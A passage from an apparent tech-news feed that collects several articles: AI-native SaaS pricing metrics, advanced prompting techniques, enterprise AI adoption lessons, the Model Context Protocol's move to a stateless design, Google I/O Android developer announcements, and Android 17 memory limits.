How this shift is impacting pricing

Given how AI-native software is transforming the market, the shift to more variable pricing options is inevitable.

Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.

Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.

Finally, the industry will likely see some move toward outcome-based pricing for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.

Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.

How AI upends classic SaaS metrics

When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?

But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:

Revenue composition

  • Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.
  • Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.
  • Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.
  • Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.

Margin reality

  • Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.
  • Inference-adjusted gross margin: By carving out AI inference costs separately in the P&L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.
  • Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.
  • AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.

Behavioral and value signals

  • Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.
  • Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.
  • Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.

Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.

What does this mean for enterprise value calculations?

As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.

Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.

For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.

In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.

We’re also seeing an inversion of the operating model, with R&D and COGS moving up the P&L and sales and marketing (S&M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.

Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.

What this means for leaders, boards and investors

The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.

While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.

It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.

The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst & Young LLP or other members of the global EY organization.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]> https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ Sat, 25 Jul 2026 18:55:51 +0200 📰 IT Security Nachrichten tsecurity.de

Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

Why advanced prompting still matters in enterprise settings

Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

After (CoT prompt):

“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  

Results: Accuracy and depth improved dramatically.

Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

Template you can use:

You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

Prompt Snippet:

Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

ReAct example: (used in data analytics workflow)

You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

4. Meta-prompting and self-reflection: Letting the model improve itself

Use the model to refine its own prompt. This is a huge time-saver.

You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

5. Multimodal and structured output techniques

With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

Tip from experience: Be extremely specific in describing what the models should focus on.

Best practices I learned the hard way

  • Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.
  • Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.
  • Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.
  • Security guardrails: Always include instructions against prompt injections and respect data boundaries.
  • When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

Final takeaways for technical leaders

Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

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]]> <![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]> https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/ https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/ Sat, 25 Jul 2026 18:55:49 +0200 📰 IT Security Nachrichten tsecurity.de

I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.

The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.

AI as a leadership multiplier

The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.

When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”

Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.

Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.

When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.

The requirement for top-down, executive ownership stems from three critical realities observed in the field:

  • Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.
  • Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.
  • C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.

PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.

AI as a new operational framework

Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.

AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.

Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.

In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.

To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).

Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.

The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.

Risks in the AI adoption model

Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).

I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.

Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.

Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”

Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.

As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.

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]]> <![CDATA[Model Context Protocol is going stateless to make scaling simpler]]> https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/ https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/ Sat, 25 Jul 2026 18:55:48 +0200 📰 IT Security Nachrichten tsecurity.de

Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.

The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.

“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.

“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.

Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.

“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.

This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.

Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.

It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.

MCP’s new features

Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.

Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.

Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.

They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.

MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.

Rebuilding the trust boundary

The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.

The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.

“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”

The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”

Updated MCP SDKs

To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.

That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.

Identifying and auditing those session dependencies may not be easy, Jena warned.

“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.

This article first appeared on InfoWorld.

]]> <![CDATA[How AI drove Shopify back to clean code]]> https://tsecurity.de/de/3693933/it-nachrichten/how-ai-drove-shopify-back-to-clean-code/ https://tsecurity.de/de/3693933/it-nachrichten/how-ai-drove-shopify-back-to-clean-code/ Sat, 25 Jul 2026 15:12:13 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[17 Things to know for Android developers at Google I/O]]> https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/ https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/ Sat, 25 Jul 2026 10:15:45 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Matthew McCullough, VP, Product Management, Android Developer

Today at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also see what was announced last week in The Android Show: I/O Edition. Stay tuned over the next two days as we dive into all of the topics in more detail!

Build High Quality Android Apps Using Agents

1: Android CLI: helping you build with any agent, LLM, and tool

Android CLI is now stable. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new Android skills, which enables agents to execute end-to-end UI tests under your direction. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.    

You can now easily install Android CLI for use with Google Antigravity 2.0.

2: Build production-ready apps with ease in Google AI Studio

Developers and creators can now build native Android apps, simply with a prompt in Google AI Studio. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.

Use the embedded Android Emulator to create Android apps in Google AI Studio

3: Accelerating AI coding assistance with Android Bench

Android Bench is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. 

4: Convert iOS apps to Android with the Migration Assistant in Android Studio

The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the developer keynote. 
A sneak peek of the Migration Assistant converting an iOS app into a native Android app

Building AI Into Your Apps

5: Building Intelligent Apps with generative AI

Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new Agent Development Kit (ADK) for Android, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the developer documentation, and watch the technical deep dive session where we showcase all these technologies.

6: Experiment with AppFunctions today

AppFunctions is an Android platform API with an accompanying Jetpack library to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the Early Access Program and start experimenting using the API guidance, sample, and skill today.

The Future is Adaptive

7: Android is now Compose First; Views are now in maintenance mode.

Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in our blog post. 

Build Android UI with Compose

8: Building seamless Android experiences across devices with Jetpack Compose

The Android ecosystem is now Adaptive by Default, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with Googlebook and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. Jetpack Compose is the definitive engine for this transition, offering core tools like our latest Jetpack Navigation 3 release, new experimental Grid and FlexBox layouts, enhanced non-touch input support, and CameraX for correct camera previews across any window size. Furthermore, new skills in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever. Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.

9: Create seamless experiences for Googlebook

Last week we announced Googlebook, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant design guidance and developer guidelines for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.

New Desktop Android Emulator

10: Unified widget development experience with Jetpack Glance

Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow.

The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.

Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.

11: Expand your reach on the road with Android for Cars
To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized templated media apps for both platforms. We're introducing new components and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; apply now to the early access program to publish in these beta categories and learn more about the latest updates in our blog.

12: Accelerate your development with Android XR Developer Preview 4

Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with Developer Preview 4 of the Android XR SDK. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the Android XR Developer Catalyst Program, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or read our blog to see how these updates help you build experiences across the ecosystem.

Early preview of the Geospatial API in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.

13: Android is your new home for professional-grade media experiences

Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware.

The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.

Low Light Boost and Magic Eraser in action

14: Increase app discovery and engagement on Google TV

Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start declaring support for pointing input to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our blog.

15: Performance: the foundation of a great app experience

To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The R8 Configuration Analyzer identifies keep rules that are bloating your binary, while ProfilingManager and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new Android Performance Analyzer offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     

And The Latest on Driving Business Growth 

16: What’s new in Google Play

Today's updates from Google Play help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console to pre-populate store listings from imported documents—making global localization effortless.

Gemini will provide users with app suggestions during a search

17: And of course, Android 17

Android 17 includes new performance & system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new contact picker and eyedropper API help minimize the use of sensitive permissions and unnecessary access to user data.

Review the behavior changes to make sure your app is ready for Android 17, including background audio hardening and SMS OTP protection. Get ready to target Android 17 (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device in the Beta or using the latest 17.0 emulator images.

One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

Check out all of the Android & Play Content at Google I/O 

This was just a preview of some of the updates for Android developers at Google I/O. Tune into What’s New in Android for the latest news and announcements and follow Google I/O for much more over the following week!

]]> <![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]> https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/ https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/ Sat, 25 Jul 2026 10:15:41 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer

While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.

To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.

Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.

To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:

  1. Maximize bytecode optimization with R8
  2. Optimize image loading
  3. Detect and fix memory leaks with Android Studio
  4. Trim memory when app leaves visible state
  5. Advanced memory observability with ProfilingManager

A condensed version of this blog post is also available in video format, go check it out!

Understanding Android 17 app memory limits

App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.

Here is a breakdown of the reasons driving this architectural change:

  • Preventing cascading kills: When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.
